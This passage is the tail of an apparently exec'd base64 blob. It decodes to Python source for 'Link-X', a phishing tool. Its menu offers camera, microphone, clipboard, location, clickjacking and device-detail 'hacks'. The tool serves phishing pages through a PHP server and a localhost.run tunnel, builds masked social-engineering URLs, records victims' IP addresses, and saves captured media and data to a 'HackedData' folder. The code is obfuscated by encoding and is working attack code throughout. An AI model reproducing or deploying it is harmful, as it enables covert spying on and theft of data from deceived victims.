IsICJyIikgYXMgZjoKICAgICAgICAgICAgICAgICAgICBjb250ZW50ID0gZi5yZWFkKCkKICAgICAgICAgICAgICAgICAgICBpZiAiaHR0cHM6Ly8iIGluIGNvbnRlbnQ6CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIGNvbnRlbnQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgImh0dHBzOi8vIiBpbiBsaW5lIGFuZCAiLmxoci5saWZlIiBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1haW5VcmwgPSBsaW5lLnNwbGl0KClbMF0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgICAgICBpZiBtYWluVXJsOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgZXhjZXB0OgogICAgICAgICAgICAgICAgcGFzcwogICAgICAgIHRpbWUuc2xlZXAoMSkKICAgIAogICAgaWYgbm90IG1haW5Vcmw6CiAgICAgICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIEZhaWxlZCB0byBzdGFydCBsb2NhbGhvc3QucnVuIHR1bm5lbCEiKQogICAgICAgIGNQcmludCgiICAgIFtjUHVycGxlIWNXaGl0ZV0gQ2hlY2sgaW50ZXJuZXQgb3IgdHJ5IGFnYWluLlxuIikKICAgICAgICB0dW5uZWxfYWN0aXZlID0gRmFsc2UKICAgICAgICByZXR1cm4gIiIsICIiLCAiIgogICAgCiAgICBtYWluVXJsID0gbWFpblVybC5zdHJpcCgpCiAgICBpZiBub3QgbWFpblVybC5zdGFydHN3aXRoKCJodHRwczovLyIpOgogICAgICAgIG1haW5VcmwgPSAiaHR0cHM6Ly8iICsgbWFpblVybAoKICAgIHJldHVybiBtYWluVXJsLCAiIiwgIiIKCmRlZiBnZXRJcCgpOgogICAgcGF0aCA9ICIuc2VydmVyL2lwLnR4dCIKICAgIGlmIG9zLnBhdGguZXhpc3RzKHBhdGgpOgogICAgICAgIHdpdGggb3BlbihwYXRoLCAiciIpIGFzIGY6CiAgICAgICAgICAgIGlwX2RhdGEgPSBbbGluZS5zdHJpcCgpIGZvciBsaW5lIGluIGYgaWYgbGluZS5zdHJpcCgpXQogICAgICAgIGlmIGlwX2RhdGE6CiAgICAgICAgICAgIGNQcmludCgiXG4gICAgY0JsdWVbY1B1cnBsZStjQmx1ZV0gY1doaXRlVmljdGltIE9wZW5lZCBUaGUgTGluayEhIikKICAgICAgICAgICAgY1ByaW50KGYiXG4gICAgW2NQdXJwbGV+Y1doaXRlXSBWaWN0aW0gSVBjUHVycGxlOiBjV2hpdGV7aXBfZGF0YVswXX0iKQogICAgICAgICAgICBjUHJpbnQoIlxuICAgIFtjUHVycGxlfmNXaGl0ZV0gU2F2ZWQgSW5jUHVycGxlOiBjV2hpdGVpcC50eHQiKQogICAgICAgICAgICBvcy5zeXN0ZW0oImNhdCAiICsgcGF0aCArICIgPj4gaXAudHh0IikKICAgICAgICAgICAgb3Muc3lzdGVtKCJybSAiICsgcGF0aCkKCmRlZiBnZXRMb2coKToKICAgIGF0dERlc0RpY3QgPSB7CiAgICAgICAgImNhbWVyYSI6IHsiZXh0IjogIi5wbmciLCAiaGVhZCI6ICJjYW1fIiwgImZpbGUiOiAiSW1hZ2UgRmlsZSJ9LAogICAgICAgICJ2b2ljZSI6IHsiZXh0IjogIi53YXYiLCAiaGVhZCI6ICJhdWRpb18iLCAiZmlsZSI6ICJWb2ljZSBGaWxlIn0sCiAgICAgICAgImNsaXBib2FyZCI6IHsiZXh0IjogIi5kYXQiLCAiaGVhZCI6ICJjYl8iLCAiZmlsZSI6ICJDbGlwYm9hcmQgRGF0YSJ9LAogICAgICAgICJsb2NhdGlvbiI6IHsiZXh0IjogIi5qc29uIiwgImhlYWQiOiAibG9jXyIsICJmaWxlIjogIkxvY2F0aW9uIERhdGEifSwKICAgICAgICAiZGV0YWlscyI6IHsiZXh0IjogIi5qc29uIiwgImhlYWQiOiAiZGV0YWlsc18iLCAiZmlsZSI6ICJEZXZpY2UgRGV0YWlscyJ9LAogICAgICAgICJjbGlja2phY2tpbmciOiB7ImV4dCI6ICIuanNvbiIsICJoZWFkIjogImNsaWNrXyIsICJmaWxlIjogIkNsaWNrIERhdGEifQogICAgfQogICAgaWYgYXR0YWNrTWV0aG9kIG5vdCBpbiBhdHREZXNEaWN0OgogICAgICAgIHJldHVybgoKICAgIGF0dGFjayA9IGF0dERlc0RpY3RbYXR0YWNrTWV0aG9kXQogICAgZXh0ID0gYXR0YWNrWyJleHQiXQogICAgaGVhZCA9IGF0dGFja1siaGVhZCJdCiAgICBmaWxlVHlwZSA9IGF0dGFja1siZmlsZSJdCiAgICBib2R5ID0gc3RyKHRpbWUudGltZSgpKVs6MTBdCgogICAgbG9nUGF0aCA9ICIuLy5zZXJ2ZXIvTG9nLmxvZyIKICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyhsb2dQYXRoKToKICAgICAgICByZXR1cm4KICAgIGlmIG5vdCAob3Blbihsb2dQYXRoLCAiciIpLnJlYWQoKS5zdHJpcCgpID09ICJSZWNlaXZlZCIpOgogICAgICAgIHJldHVybgoKICAgIG9zLnJlbW92ZShsb2dQYXRoKQogICAgY1ByaW50KGYiXG4gICAgY1B1cnBsZVtjV2hpdGUrY1B1cnBsZV0gY1doaXRle2ZpbGVUeXBlfSBSZWNlaXZlZCEiKQoKICAgIGlmIGF0dGFja01ldGhvZCA9PSAiY2xpcGJvYXJkIjoKICAgICAgICBjbGlwRGF0YSA9IG9wZW4oIi5zZXJ2ZXIvZGF0YS5kYXQiLCAiciIpLnJlYWQoKQogICAgICAgIGNQcmludChmIlxuW2NQdXJwbGVEYXRhY1doaXRlXWNQdXJwbGU6IGNXaGl0ZXtjbGlwRGF0YX0iKQogICAgZWxpZiBhdHRhY2tNZXRob2QgPT0gImxvY2F0aW9uIjoKICAgICAgICBsb2NEYXRhID0gb3BlbigiLnNlcnZlci9kYXRhLmpzb24iLCAiciIpLnJlYWQoKQogICAgICAgIHByaW50TG9jYXRpb24obG9jRGF0YSkKICAgIGVsaWYgYXR0YWNrTWV0aG9kIGluIFsiZGV0YWlscyIsICJjbGlja2phY2tpbmciXToKICAgICAgICB3YWl0X2NvdW50ID0gMAogICAgICAgIHdoaWxlIG5vdCBvcy5wYXRoLmV4aXN0cygiLnNlcnZlci9kYXRhLmpzb24iKSBhbmQgd2FpdF9jb3VudCA8IDEwOgogICAgICAgICAgICB0aW1lLnNsZWVwKDAuMykKICAgICAgICAgICAgd2FpdF9jb3VudCArPSAxCiAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoIi5zZXJ2ZXIvZGF0YS5qc29uIik6CiAgICAgICAgICAgIHdpdGggb3BlbigiLnNlcnZlci9kYXRhLmpzb24iLCAiciIpIGFzIGY6CiAgICAgICAgICAgICAgICBkZXZpY2VEYXRhID0gZi5yZWFkKCkKICAgICAgICAgICAgcHJpbnREZXRhaWxzKGRldmljZURhdGEpCgogICAgb3Muc3lzdGVtKGYibXYgLi8uc2VydmVyLyp7ZXh0fSAvc2RjYXJkL0hhY2tlZERhdGEve2hlYWR9e2JvZHl9e2V4dH0gMj4vZGV2L251bGwiKQoKZGVmIHN0YXJ0UHJvY2VzcygpOgogICAgZ2xvYmFsIG1hc2tVcmwsIHR1bm5lbF9hY3RpdmUKICAgIG1hc2tVcmwgPSAiIgogICAgcmVkaXJlY3RVcmwgPSAiIgoKICAgIGNQcmludCgiXG4iICsgKCLilIAiICogNDApLmNlbnRlcihjb2x1bW5zKSkKICAgIAogICAgbWFza19jaG9pY2UgPSBpbnB1dChjUHJpbnQoIlxuICAgIGNXaGl0ZVtjUHVycGxlKmNXaGl0ZV0gV2FudCB0byBnZW5lcmF0ZSBhIE1hc2tlZCBVUkwgZm9yIHNvY2lhbCBlbmdpbmVlcmluZz8gW2NQdXJwbGV5L25jV2hpdGVdOj4gIiwgVHJ1ZSkpLnN0cmlwKCkubG93ZXIoKQogICAgaWYgbWFza19jaG9pY2UgPT0gInkiOgogICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgIG1hc2tfaW5wdXQgPSBpbnB1dChjUHJpbnQoIlxuICAgIFtjUHVycGxlKmNXaGl0ZV0gRW50ZXIgTWFzayBOYW1lIChlLmcuIGZyZWUtaXBob25lKTo+IGNXaGl0ZSIsIFRydWUpKS5zdHJpcCgpCiAgICAgICAgICAgIGlmIG1hc2tfaW5wdXQ6CiAgICAgICAgICAgICAgICBtYXNrVXJsID0gbWFza19pbnB1dAogICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIGNQcmludCgiICAgIFtjUHVycGxlIWNXaGl0ZV0gTWFzayBuYW1lIGNhbm5vdCBiZSBlbXB0eS4iKQoKICAgIGlmIGF0dGFja01ldGhvZCA9PSAiY2xpY2tqYWNraW5nIjoKICAgICAgICBjUHJpbnQoIlxuICAgIGNXaGl0ZVtjUHVycGxlKmNXaGl0ZV0gQ2xpY2tKYWNraW5nIE1vZGUgQWN0aXZhdGVkIikKICAgICAgICBjUHJpbnQoIiAgICBjV2hpdGVbY1B1cnBsZSpjV2hpdGVdIFJlZGlyZWN0IEFmdGVyIENsaWNrOiBodHRwczovL3d3dy5hcHBsZS5jb20vICAiKQogICAgICAgIHJlZGlyZWN0VXJsID0gImh0dHBzOi8vd3d3LmFwcGxlLmNvbS8gICIKICAgIGVsc2U6CiAgICAgICAgY1ByaW50KCJcbiAgICBjV2hpdGVbY1B1cnBsZSpjV2hpdGVdIEVudGVyIGEgV2Vic2l0ZSBVUkwgdG8gUmVkaXJlY3QgVmljdGltIEFmdGVyIEV4cGxvaXQiKQogICAgICAgIGNQcmludCgiICAgIGNXaGl0ZShjUHVycGxlTGVhdmUgZW1wdHkgZm9yIGRlZmF1bHQ6IFlvdUFyZUdldHRpbmdPbGRjV2hpdGUpIikKICAgICAgICByZWRpcmVjdFVybCA9IGlucHV0KGNQcmludCgiICAgIGNQdXJwbGVbVVJMXWNXaGl0ZTo+ICIsIFRydWUpKS5zdHJpcCgpCgogICAgY1ByaW50KCJcbiIgKyAoIuKUgCIgKiA0MCkuY2VudGVyKGNvbHVtbnMpKQogICAgY1ByaW50KCIgICAgW2NQdXJwbGUhY1doaXRlXSBTZXR0aW5nIHVwIEZpbGVzLi4uIi5jZW50ZXIoY29sdW1ucykpCiAgICBzZXR1cEZpbGVzKHJlZGlyZWN0VXJsKQoKICAgIHRpbWUuc2xlZXAoMSkKICAgIGNQcmludCgiXG4gICAgW2NQdXJwbGUhY1doaXRlXSBTdGFydGluZyBQSFAgU2VydmVyLi4uIikKICAgIHBvcnQgPSBzdGFydFBIUCgpCiAgICB0aW1lLnNsZWVwKDIpCgogICAgbWFpblVybCwgXywgXyA9IHN0YXJ0TG9jYWxob3N0UnVuKHBvcnQsIE5vbmUpCgogICAgaWYgbm90IG1haW5Vcmw6CiAgICAgICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIENhbm5vdCBwcm9jZWVkIHdpdGhvdXQgdHVubmVsLiBFeGl0aW5nLiIpCiAgICAgICAgc3lzLmV4aXQoMSkKCiAgICAjIOKchSBVUERBVEVEOiBOb3cgY2FtZXJhIHVzZXMgbWFzayBwYWdlIGxpa2Ugdm9pY2UKICAgIG1hc2tlZERpc3BsYXlVcmwgPSBOb25lCiAgICBpZiBtYXNrVXJsOgogICAgICAgIGlmIGF0dGFja01ldGhvZCBpbiBbImNhbWVyYSIsICJ2b2ljZSIsICJjbGlja2phY2tpbmciXToKICAgICAgICAgICAgbWFza2VkRGlzcGxheVVybCA9IGNyZWF0ZU1hc2tQYWdlKG1hc2tVcmwsIG1haW5VcmwpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY2xlYW5NYXNrID0gbWFza1VybC5yZXBsYWNlKCIgIiwgIiIpLnJlcGxhY2UoIi8iLCAiIikuc3RyaXAoKQogICAgICAgICAgICBpZiBjbGVhbk1hc2s6CiAgICAgICAgICAgICAgICBtYXNrZWREaXNwbGF5VXJsID0gZiJodHRwczovL3tjbGVhbk1hc2t9QHttYWluVXJsLnJlcGxhY2UoJ2h0dHBzOi8vJywgJycpfSIKCiAgICBsb2dvKCkKICAgIGNQcmludChmIlxuY1doaXRlW2NQdXJwbGUqY1doaXRlXSBTdWNjZXNzZnVsbHkgSG9zdGVkIGF0Y1B1cnBsZTogY1doaXRlaHR0cDovL3tob3N0fTp7cG9ydH0iKQogICAgCiAgICBjUHJpbnQoZiJcbltjUHVycGxlfmNXaGl0ZV0gVVJMIDAxIChNYWluIFVSTCljUHVycGxlOiBjV2hpdGV7bWFpblVybH0iKQoKICAgIGlmIG1hc2tlZERpc3BsYXlVcmw6CiAgICAgICAgaWYgYXR0YWNrTWV0aG9kIGluIFsidm9pY2UiLCAiY2xpY2tqYWNraW5nIl06CiAgICAgICAgICAgIGNQcmludChmIlxuW2NQdXJwbGV+Y1doaXRlXSBVUkwgMDIgKE1hc2sgUGFnZSljUHVycGxlOiBjV2hpdGV7bWFza2VkRGlzcGxheVVybH0iKQogICAgICAgICAgICBjUHJpbnQoIlxuICAgIFtjUHVycGxlIWNXaGl0ZV0g8J+SoSBUaGlzIG1hc2sgcGFnZSByZWRpcmVjdHMgaW5zdGFudGx5IHRvIHRoZSByZWFsIHBheWxvYWQuIikKICAgICAgICAgICAgY1ByaW50KCIgICAgW2NQdXJwbGUhY1doaXRlXSDinIUgU2FmZSBmb3IgVm9pY2UgJiBDbGlja0phY2tpbmchIikKICAgICAgICBlbHNlOgogICAgICAgICAgICAjIE5vdyBpbmNsdWRlcyBjYW1lcmEKICAgICAgICAgICAgY1ByaW50KGYiXG5bY1B1cnBsZX5jV2hpdGVdIFVSTCAwMiAoTWFzayBQYWdlKWNQdXJwbGU6IGNXaGl0ZXttYXNrZWREaXNwbGF5VXJsfSIpCiAgICAgICAgICAgIGNQcmludCgiXG4gICAgW2NQdXJwbGUhY1doaXRlXSDimqEgTWFza2VkIFVSTCByZWFkeS4gV29ya3MgZm9yIENhbWVyYSwgVm9pY2UsIGFuZCBtb3JlLiIpCgogICAgY1ByaW50KCJcbltjUHVycGxlKmNXaGl0ZV0gRGF0YSBTYXZlZCBJbiBjUHVycGxlOiBjV2hpdGUvc2RjYXJkL0hhY2tlZERhdGEiKQogICAgY1ByaW50KCJcbltjUHVycGxlKmNXaGl0ZV0gV2FpdGluZyBmb3IgVmljdGltLCBQcmVzcyBjUHVycGxlQ3RybCBjV2hpdGUrIGNQdXJwbGVDIGNXaGl0ZXRvIFN0b3AuLi5cbiIpCgogICAgdHJ5OgogICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgIHR1bm5lbF9jaGVjayA9IHNiLmdldG91dHB1dCgicHMgYXV4IHwgZ3JlcCAnbG9jYWxob3N0LnJ1bicgfCBncmVwIC12IGdyZXAgfCBncmVwIC12IHB5dGhvbiIpCiAgICAgICAgICAgIGlmIG5vdCB0dW5uZWxfY2hlY2suc3RyaXAoKSBhbmQgdHVubmVsX2FjdGl2ZToKICAgICAgICAgICAgICAgIGNQcmludCgiXG4gICAgW2NQdXJwbGUhY1doaXRlXSBUdW5uZWwgZG93biEgUmVzdGFydGluZy4uLiIpCiAgICAgICAgICAgICAgICBtYWluVXJsLCBfLCBfID0gc3RhcnRMb2NhbGhvc3RSdW4ocG9ydCwgTm9uZSkKICAgICAgICAgICAgICAgIGlmIG1haW5Vcmw6CiAgICAgICAgICAgICAgICAgICAgaWYgbWFza1VybCBhbmQgYXR0YWNrTWV0aG9kIGluIFsiY2FtZXJhIiwgInZvaWNlIiwgImNsaWNramFja2luZyJdOgogICAgICAgICAgICAgICAgICAgICAgICBtYXNrZWREaXNwbGF5VXJsID0gY3JlYXRlTWFza1BhZ2UobWFza1VybCwgbWFpblVybCkKICAgICAgICAgICAgICAgICAgICBsb2dvKCkKICAgICAgICAgICAgICAgICAgICBjUHJpbnQoZiJcbltjUHVycGxlfmNXaGl0ZV0gTmV3IFVSTDpjUHVycGxlIHttYWluVXJsfSIpCiAgICAgICAgICAgICAgICAgICAgaWYgbWFza2VkRGlzcGxheVVybDoKICAgICAgICAgICAgICAgICAgICAgICAgY1ByaW50KGYiW2NQdXJwbGV+Y1doaXRlXSBNYXNrIFVSTDpjUHVycGxlIHttYXNrZWREaXNwbGF5VXJsfSIpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIGNQcmludCgiXG4gICAgW2NQdXJwbGUhY1doaXRlXSBGYWlsZWQgdG8gcmVzdGFydCB0dW5uZWwuIikKICAgICAgICAgICAgICAgICAgICBicmVhawoKICAgICAgICAgICAgZ2V0SXAoKQogICAgICAgICAgICBnZXRMb2coKQogICAgICAgICAgICB0aW1lLnNsZWVwKDIpCiAgICBleGNlcHQgS2V5Ym9hcmRJbnRlcnJ1cHQ6CiAgICAgICAgdHVubmVsX2FjdGl2ZSA9IEZhbHNlCiAgICAgICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIFByb2Nlc3MgU3RvcHBlZCBCeSBVc2VyXG4iKQogICAgICAgIGtpbGxBbGwoKQogICAgICAgIHN5cy5leGl0KCkKCmRlZiBtZW51KCk6CiAgICBsb2dvKCkKICAgIHBzYigiXG4gICAgY1doaXRlW2NQdXJwbGUqY1doaXRlXSBDaG9vc2UgWW91ciBPcHRpb246IFxuIikKICAgIGNQcmludCgiICAgIFtjUHVycGxlMDFjV2hpdGVdIENhbWVyYSBIYWNrIikKICAgIGNQcmludCgiICAgIFtjUHVycGxlMDJjV2hpdGVdIFZvaWNlIEhhY2siKQogICAgY1ByaW50KCIgICAgW2NQdXJwbGUwM2NXaGl0ZV0gQ2xpcGJvYXJkIEhhY2siKQogICAgY1ByaW50KCIgICAgW2NQdXJwbGUwNGNXaGl0ZV0gTG9jYXRpb24gSGFjayIpCiAgICBjUHJpbnQoIiAgICBbY1B1cnBsZTA1Y1doaXRlXSBDbGlja0phY2tpbmciKQogICAgY1ByaW50KCIgICAgW2NQdXJwbGUwNmNXaGl0ZV0gR2V0IFZpY3RpbSBEZXZpY2UgRGV0YWlscyIpCiAgICBjUHJpbnQoIiAgICBbY1B1cnBsZTA4Y1doaXRlXSBVcGRhdGUgVG9vbCIpCiAgICBjUHJpbnQoIiAgICBbY1B1cnBsZTAwY1doaXRlXSBFeGl0IikKCiAgICBvcCA9IGlucHV0KGNQcmludCgiXG4gICAgW2NQdXJwbGUqY1doaXRlXSBFbnRlciBZb3VyIENob2ljZTo+IGNQdXJwbGUiLCBUcnVlKSkuc3RyaXAoKQogICAgaWYgb3AgaW4gWyIwIiwgIjAwIl06CiAgICAgICAgY1ByaW50KCJcbiAgICBbY1B1cnBsZSFjV2hpdGVdIEV4aXRpbmcgTGluay1YLi4uXG4iKQogICAgICAgIGtpbGxBbGwoKQogICAgICAgIHN5cy5leGl0KDApCiAgICB3aGlsZSBvcCBub3QgaW4gWyIxIiwgIjIiLCAiMyIsICI0IiwgIjUiLCAiNiIsICI4Il06CiAgICAgICAgcHNiKCJcbiAgICBjV2hpdGVbY1B1cnBsZSFjV2hpdGVdIFdyb25nIENob2ljZSEiKQogICAgICAgIG9wID0gaW5wdXQoY1ByaW50KCJcbiAgICBbY1B1cnBsZSpjV2hpdGVdIEVudGVyIFlvdXIgQ2hvaWNlOj4gY1B1cnBsZSIsIFRydWUpKS5zdHJpcCgpCiAgICAgICAgaWYgb3AgaW4gWyIwIiwgIjAwIl06CiAgICAgICAgICAgIGNQcmludCgiXG4gICAgW2NQdXJwbGUhY1doaXRlXSBFeGl0aW5nIExpbmstWC4uLlxuIikKICAgICAgICAgICAga2lsbEFsbCgpCiAgICAgICAgICAgIHN5cy5leGl0KDApCgogICAgaWYgb3AgPT0gIjgiOgogICAgICAgIHVwZGF0ZSgpCgogICAgYXR0TGlzdCA9IFsiY2FtZXJhIiwgInZvaWNlIiwgImNsaXBib2FyZCIsICJsb2NhdGlvbiIsICJjbGlja2phY2tpbmciLCAiZGV0YWlscyJdCiAgICBnbG9iYWwgYXR0YWNrTWV0aG9kCiAgICBhdHRhY2tNZXRob2QgPSBhdHRMaXN0W2ludChvcCkgLSAxXQogICAgc3RhcnRQcm9jZXNzKCkKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICByZXF1aXJlZCA9IFsicGhwIiwgImN1cmwiLCAid2dldCIsICJ1bnppcCIsICJzc2giXQogICAgaWYgYW55KHNiLmdldG91dHB1dChmImNvbW1hbmQgLXYge3BrZ30iKSA9PSAiIiBmb3IgcGtnIGluIHJlcXVpcmVkKToKICAgICAgICBvcy5zeXN0ZW0oInB5dGhvbiBzZXR1cC5weSIpCgogICAgaWYgbm90IG9zLnBhdGguZXhpc3RzKCIvc2RjYXJkL0hhY2tlZERhdGEiKToKICAgICAgICBvcy5tYWtlZGlycygiL3NkY2FyZC9IYWNrZWREYXRhIiwgZXhpc3Rfb2s9VHJ1ZSkKICAgIGtpbGxBbGwoKQogICAgbWVudSgp').decode('utf-8'))
4 |
--------------------------------------------------------------------------------